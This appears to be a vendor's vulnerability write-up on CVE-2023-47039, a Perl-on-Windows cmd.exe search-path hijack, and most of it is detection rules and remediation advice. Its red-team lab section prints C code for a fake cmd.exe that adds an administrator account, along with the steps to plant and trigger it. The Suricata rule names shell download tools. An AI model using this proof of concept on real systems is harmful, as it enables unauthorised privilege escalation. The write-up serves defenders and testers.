CVE-2023-47039
Executive Summary
CVE-2023-47039 describes a critical security vulnerability in the Perl interpreter for Windows. The flaw arises from Perl's insecure reliance on the system PATH environment variable to locate and execute cmd.exe. When a Perl script or executable runs on Windows, Perl searches for cmd.exe in the current working directory before checking system directories. This path search order issue allows an attacker with limited privileges to place a malicious cmd.exe in a writable location (e.g., C:\ProgramData). If an administrator or higher-privileged user executes a Perl-based application from that compromised directory, the attacker's cmd.exe is executed instead of the legitimate system binary, leading to arbitrary code execution with elevated privileges.
This vulnerability is particularly dangerous in shared or multi-user Windows environments where low-privileged users can write to directories that are later accessed by administrators. The lack of a patch or official advisory from Perl further elevates the risk, as no vendor-supplied fix is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not specific to a package manager (NPM, PyPI, Go, Ruby) but affects the core Perl interpreter distribution for Windows. However, any Perl-based application or module distributed via CPAN or bundled in Windows environments inherits this risk. Organizations using Perl in CI/CD pipelines, automation scripts, or administrative tooling should treat this as a supply chain risk, as the insecure behavior is embedded in the interpreter itself.
CVSS Breakdown & Threat Level
While no official CVSS vector is provided, based on the vulnerability description, a reasonable assessment is:
- Attack Vector (AV): Local (L) – The attacker must have local access to the system.
- Attack Complexity (AC): Low (L) – No special conditions beyond placing a malicious binary.
- Privileges Required (PR): Low (L) – The attacker needs only limited user privileges.
- User Interaction (UI): Required (R) – The victim (admin) must execute a Perl script from the compromised directory.
- Scope (S): Changed (C) – The attacker can impact resources beyond their own privilege level.
- Confidentiality (C): High (H) – Full system compromise possible.
- Integrity (I): High (H) – Arbitrary code execution.
- Availability (A): High (H) – Potential for denial of service or system takeover.
Estimated CVSS Score: 7.5 (High)
Threat Level: High – Exploitation is straightforward, requires low privileges, and can lead to full system compromise.
Deep Dive & Mechanics
The vulnerability stems from Windows' default path search order and Perl's implementation of system() or backtick operations. When Perl needs to execute an external command (e.g., system("cmd /c dir")), it calls CreateProcess with the command name. Windows then searches for the executable in the following order:
- The directory from which the application loaded.
- The current working directory.
- The system directory (e.g.,
C:\Windows\System32). - The 16-bit system directory.
- The Windows directory.
- Directories listed in the
PATHenvironment variable.
Perl does not sanitize or qualify the path to cmd.exe, relying entirely on the OS search order. An attacker can exploit this by placing a malicious cmd.exe in a directory like C:\ProgramData, which is often writable by low-privileged users. If an administrator runs a Perl script from C:\ProgramData (or any directory where the attacker has placed the malicious binary), Windows will execute the attacker's cmd.exe instead of the legitimate one.
The attack flow:
- Attacker gains low-privileged access to a Windows system.
- Attacker writes a malicious
cmd.exetoC:\ProgramData(or another writable directory). - Attacker waits for an administrator to execute a Perl script from that directory (e.g., via scheduled task, login script, or manual execution).
- When the admin runs the Perl script, Perl calls
system("cmd.exe ..."). - Windows finds the malicious
cmd.exein the current working directory (C:\ProgramData) and executes it. - The malicious binary runs with the administrator's privileges, giving the attacker full control.
Vulnerable vs. Patched Code
Vulnerable Code (Perl's internal implementation):
Perl uses the CreateProcess API with the command name as-is. For example, in win32.c:
// Vulnerable: No path qualification
CreateProcess(NULL, "cmd.exe /c dir", ...);
Patched Code (Hypothetical fix):
A secure implementation would use the full path to cmd.exe:
// Patched: Use absolute path
CreateProcess(NULL, "C:\\Windows\\System32\\cmd.exe /c dir", ...);
Alternatively, Perl could use SearchPath with a safe search order or validate the executable path before execution.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Lab Environment:
- Windows 10/11 or Windows Server 2019/2022
- Perl installed (e.g., Strawberry Perl or ActivePerl)
- A low-privileged user account
- An administrator account
Steps:
Create Malicious
cmd.exe: Write a simple payload that executes a reverse shell or adds a user. For example, using C:#include <stdlib.h> int main() { system("net user attacker Password123! /add"); system("net localgroup administrators attacker /add"); // Then execute the real cmd.exe to avoid suspicion system("C:\\Windows\\System32\\cmd.exe"); return 0; }Compile as
cmd.exe.Place Malicious Binary: As the low-privileged user, copy the malicious
cmd.exetoC:\ProgramData\:copy malicious_cmd.exe C:\ProgramData\cmd.exeTrigger Execution: Create a simple Perl script that calls
cmd.exe:# test.pl system("cmd.exe /c echo Hello");Save it in
C:\ProgramData\.Wait for Admin: The administrator runs
perl C:\ProgramData\test.pl. The maliciouscmd.exeexecutes, adding the attacker to the Administrators group.
Blue Team (Detection & Prevention)
Detection:
- Monitor for
cmd.exeexecuted from non-standard paths (e.g.,C:\ProgramData\,C:\Temp\). - Alert on
CreateProcesscalls where the executable name iscmd.exeand the path is notC:\Windows\System32\. - Use Sysmon Event ID 1 (Process Creation) to log command-line arguments and image paths.
Prevention:
- Enforce application whitelisting (e.g., AppLocker) to allow only
C:\Windows\System32\cmd.exe. - Remove write permissions from directories like
C:\ProgramDatafor low-privileged users. - Use Windows Defender Attack Surface Reduction (ASR) rules to block
cmd.exefrom non-system directories. - Update Perl to a patched version (if available) or use a wrapper that qualifies the path.
Indicators of Compromise (IOCs)
- File:
C:\ProgramData\cmd.exe(or any non-standard path forcmd.exe) - Process:
cmd.exeexecuted fromC:\ProgramData\,C:\Temp\, or user-writable directories. - Registry: Unusual
cmd.exeentries inHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options - Network: Outbound connections from
cmd.exe(if reverse shell used). - Event Logs: Windows Security Event ID 4688 (Process Creation) with
cmd.exefrom suspicious path.
Detection Engineering
YARA Rule
rule CVE_2023_47039_Perl_Cmd_Hijack {
meta:
description = "Detects malicious cmd.exe placed in non-standard paths for Perl hijacking"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-47039"
strings:
$cmd_name = "cmd.exe" nocase
$suspicious_paths = /C:\\\\(ProgramData|Temp|Users\\\\.*?\\\\(AppData|Desktop|Downloads))\\\\cmd\\.exe/i
condition:
$cmd_name and $suspicious_paths
}
Sigma Rule
title: Perl Cmd.exe Path Hijacking
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects cmd.exe execution from non-standard directories, indicating CVE-2023-47039 exploitation
author: Valters IT
date: 2025/04/10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2023-47039
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\cmd.exe'
Image|startswith:
- 'C:\ProgramData\'
- 'C:\Temp\'
- 'C:\Users\*\AppData\'
- 'C:\Users\*\Desktop\'
- 'C:\Users\*\Downloads\'
condition: selection
falsepositives:
- Legitimate software installed in non-standard paths (rare)
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
msg:"CVE-2023-47039 Perl cmd.exe Hijack - Potential Reverse Shell";
flow:to_server,established;
content:"cmd.exe"; nocase;
pcre:"/cmd\.exe\s+-c\s+(powershell|net\s+user|wget|curl)/i";
sid:1000001;
rev:1;
reference:cve,2023-47039;
)
Remediation & Mitigation
Immediate Actions:
- Restrict Write Permissions: Ensure low-privileged users cannot write to directories like
C:\ProgramData,C:\Temp, or user profile folders. - Use Absolute Paths: Modify Perl scripts to use the full path to
cmd.exe:system("C:\\Windows\\System32\\cmd.exe /c command"); - Application Control: Deploy AppLocker or WDAC to block
cmd.exefrom non-system paths. - Monitor & Alert: Implement the detection rules above to identify exploitation attempts.
Long-Term Fix:
- Await an official patch from Perl. In the meantime, consider using a Perl distribution that hardcodes the path to
cmd.exeor use a wrapper script. - For critical systems, replace Perl with a more secure alternative (e.g., PowerShell) for administrative tasks.
Workaround:
- Set the
PATHenvironment variable to prioritize system directories and remove writable directories from the search order.
Valters IT